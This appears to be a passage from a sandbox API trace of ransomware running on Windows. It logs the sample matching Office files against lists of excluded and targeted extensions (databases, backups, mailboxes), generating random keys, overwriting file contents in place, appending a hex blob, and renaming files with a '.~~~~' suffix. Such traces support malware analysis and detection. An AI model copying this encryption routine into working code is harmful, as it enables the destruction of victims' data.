	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".ckp") returned 0x0
	[0146.253] lstrlenW (lpString=".dbt") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dbt") returned 0x0
	[0146.253] lstrlenW (lpString=".db") returned 3
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".db") returned 0x0
	[0146.254] lstrlenW (lpString=".TXT") returned 4
	[0146.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".TXT") returned 0x0
	[0146.254] lstrlenW (lpString=".MDF") returned 4
	[0146.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".MDF") returned 0x0
	[0146.254] lstrlenW (lpString=".bdb") returned 4
	[0146.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".bdb") returned 0x0
	[0146.254] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.254] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0146.255] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.255] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.256] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26624579312) returned 1
	[0146.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc093d590, dwHighDateTime=0x1d60e1e)) 
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e28
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e28 | out: hHeap=0x300000) returned 1
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acef0
	[0146.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7978
	[0146.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acef0 | out: hHeap=0x300000) returned 1
	[0146.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.257] GetLastError () returned 0x0
	[0146.257] GetLastError () returned 0x0
	[0146.257] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.257] GetLastError () returned 0x0
	[0146.257] GetLastError () returned 0x0
	[0146.258] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x3283, lpOverlapped=0x0) returned 1
	[0146.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcd7d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.260] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3283, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x3283, lpOverlapped=0x0) returned 1
	[0146.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.260] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.260] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.261] CloseHandle (hObject=0x138) returned 1
	[0146.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0146.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn.~~~~")) returned 1
	[0146.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.264] GetLastError () returned 0x0
	[0146.264] RtlWakeConditionVariable () returned 0x365f70
	[0146.264] GetCurrentThreadId () returned 0x9cc
	[0146.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".scr") returned 0x0
	[0146.264] lstrlenW (lpString=".cmd") returned 4
	[0146.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".cmd") returned 0x0
	[0146.264] lstrlenW (lpString=".dll") returned 4
	[0146.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dll") returned 0x0
	[0146.264] lstrlenW (lpString=".bat") returned 4
	[0146.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".bat") returned 0x0
	[0146.264] lstrlenW (lpString=".cpl") returned 4
	[0146.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".cpl") returned 0x0
	[0146.265] lstrlenW (lpString=".sys") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".sys") returned 0x0
	[0146.265] lstrlenW (lpString=".msc") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".msc") returned 0x0
	[0146.265] lstrlenW (lpString=".com") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".com") returned 0x0
	[0146.265] lstrlenW (lpString=".lnk") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".lnk") returned 0x0
	[0146.265] lstrlenW (lpString=".msp") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".msp") returned 0x0
	[0146.265] lstrlenW (lpString=".pif") returned 4
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".pif") returned 0x0
	[0146.265] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch="msp\r\n.pif") returned 0x0
	[0146.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.267] lstrlenW (lpString=".sqb") returned 4
	[0146.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".sqb") returned 0x0
	[0146.267] lstrlenW (lpString=".ost") returned 4
	[0146.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".ost") returned 0x0
	[0146.267] lstrlenW (lpString=".txt") returned 4
	[0146.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".txt") returned 0x0
	[0146.267] lstrlenW (lpString=".mdt") returned 4
	[0146.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".mdt") returned 0x0
	[0146.267] lstrlenW (lpString=".BDB") returned 4
	[0146.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".BDB") returned 0x0
	[0146.267] lstrlenW (lpString=".eql") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".eql") returned 0x0
	[0146.268] lstrlenW (lpString=".DBF") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DBF") returned 0x0
	[0146.268] lstrlenW (lpString=".EQL") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".EQL") returned 0x0
	[0146.268] lstrlenW (lpString=".FDB") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".FDB") returned 0x0
	[0146.268] lstrlenW (lpString=".EDB") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".EDB") returned 0x0
	[0146.268] lstrlenW (lpString=".DACPAC") returned 7
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DACPAC") returned 0x0
	[0146.268] lstrlenW (lpString=".VHD") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".VHD") returned 0x0
	[0146.268] lstrlenW (lpString=".DBV") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DBV") returned 0x0
	[0146.268] lstrlenW (lpString=".dacpac") returned 7
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dacpac") returned 0x0
	[0146.268] lstrlenW (lpString=".sdf") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".sdf") returned 0x0
	[0146.268] lstrlenW (lpString=".accdb") returned 6
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".accdb") returned 0x0
	[0146.268] lstrlenW (lpString=".DBX") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DBX") returned 0x0
	[0146.268] lstrlenW (lpString=".MDT") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".MDT") returned 0x0
	[0146.268] lstrlenW (lpString=".SQB") returned 4
	[0146.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".SQB") returned 0x0
	[0146.269] lstrlenW (lpString=".vhd") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".vhd") returned 0x0
	[0146.269] lstrlenW (lpString=".bac") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".bac") returned 0x0
	[0146.269] lstrlenW (lpString=".mdf") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".mdf") returned 0x0
	[0146.269] lstrlenW (lpString=".BAK") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".BAK") returned 0x0
	[0146.269] lstrlenW (lpString=".BAC") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".BAC") returned 0x0
	[0146.269] lstrlenW (lpString=".dbs") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dbs") returned 0x0
	[0146.269] lstrlenW (lpString=".vhdx") returned 5
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".vhdx") returned 0x0
	[0146.269] lstrlenW (lpString=".NDF") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".NDF") returned 0x0
	[0146.269] lstrlenW (lpString=".dat") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dat") returned 0x0
	[0146.269] lstrlenW (lpString=".DBS") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DBS") returned 0x0
	[0146.269] lstrlenW (lpString=".CKP") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".CKP") returned 0x0
	[0146.269] lstrlenW (lpString=".edb") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".edb") returned 0x0
	[0146.269] lstrlenW (lpString=".PST") returned 4
	[0146.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".PST") returned 0x0
	[0146.269] lstrlenW (lpString=".dbf") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dbf") returned 0x0
	[0146.270] lstrlenW (lpString=".SQL") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".SQL") returned 0x0
	[0146.270] lstrlenW (lpString=".pst") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".pst") returned 0x0
	[0146.270] lstrlenW (lpString=".dbv") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dbv") returned 0x0
	[0146.270] lstrlenW (lpString=".SDF") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".SDF") returned 0x0
	[0146.270] lstrlenW (lpString=".dtxs") returned 5
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dtxs") returned 0x0
	[0146.270] lstrlenW (lpString=".db3") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".db3") returned 0x0
	[0146.270] lstrlenW (lpString=".OST") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".OST") returned 0x0
	[0146.270] lstrlenW (lpString=".dbx") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dbx") returned 0x0
	[0146.270] lstrlenW (lpString=".DB3") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DB3") returned 0x0
	[0146.270] lstrlenW (lpString=".DAT") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DAT") returned 0x0
	[0146.270] lstrlenW (lpString=".VHDX") returned 5
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".VHDX") returned 0x0
	[0146.270] lstrlenW (lpString=".ndf") returned 4
	[0146.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".ndf") returned 0x0
	[0146.270] lstrlenW (lpString=".DB") returned 3
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DB") returned 0x0
	[0146.271] lstrlenW (lpString=".sql") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".sql") returned 0x0
	[0146.271] lstrlenW (lpString=".MYD") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".MYD") returned 0x0
	[0146.271] lstrlenW (lpString=".DBT") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DBT") returned 0x0
	[0146.271] lstrlenW (lpString=".ACCDB") returned 6
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".ACCDB") returned 0x0
	[0146.271] lstrlenW (lpString=".fdb") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".fdb") returned 0x0
	[0146.271] lstrlenW (lpString=".bak") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".bak") returned 0x0
	[0146.271] lstrlenW (lpString=".myd") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".myd") returned 0x0
	[0146.271] lstrlenW (lpString=".DTXS") returned 5
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".DTXS") returned 0x0
	[0146.271] lstrlenW (lpString=".ckp") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".ckp") returned 0x0
	[0146.271] lstrlenW (lpString=".dbt") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".dbt") returned 0x0
	[0146.271] lstrlenW (lpString=".db") returned 3
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".db") returned 0x0
	[0146.271] lstrlenW (lpString=".TXT") returned 4
	[0146.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".TXT") returned 0x0
	[0146.272] lstrlenW (lpString=".MDF") returned 4
	[0146.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".MDF") returned 0x0
	[0146.272] lstrlenW (lpString=".bdb") returned 4
	[0146.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".bdb") returned 0x0
	[0146.272] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.272] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0146.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.273] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.274] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26626384145) returned 1
	[0146.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0989850, dwHighDateTime=0x1d60e1e)) 
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7a10
	[0146.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.275] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.275] GetLastError () returned 0x0
	[0146.275] GetLastError () returned 0x0
	[0146.275] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.275] GetLastError () returned 0x0
	[0146.276] GetLastError () returned 0x0
	[0146.276] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x2d6b, lpOverlapped=0x0) returned 1
	[0146.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd295, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.358] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2d6b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x2d6b, lpOverlapped=0x0) returned 1
	[0146.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
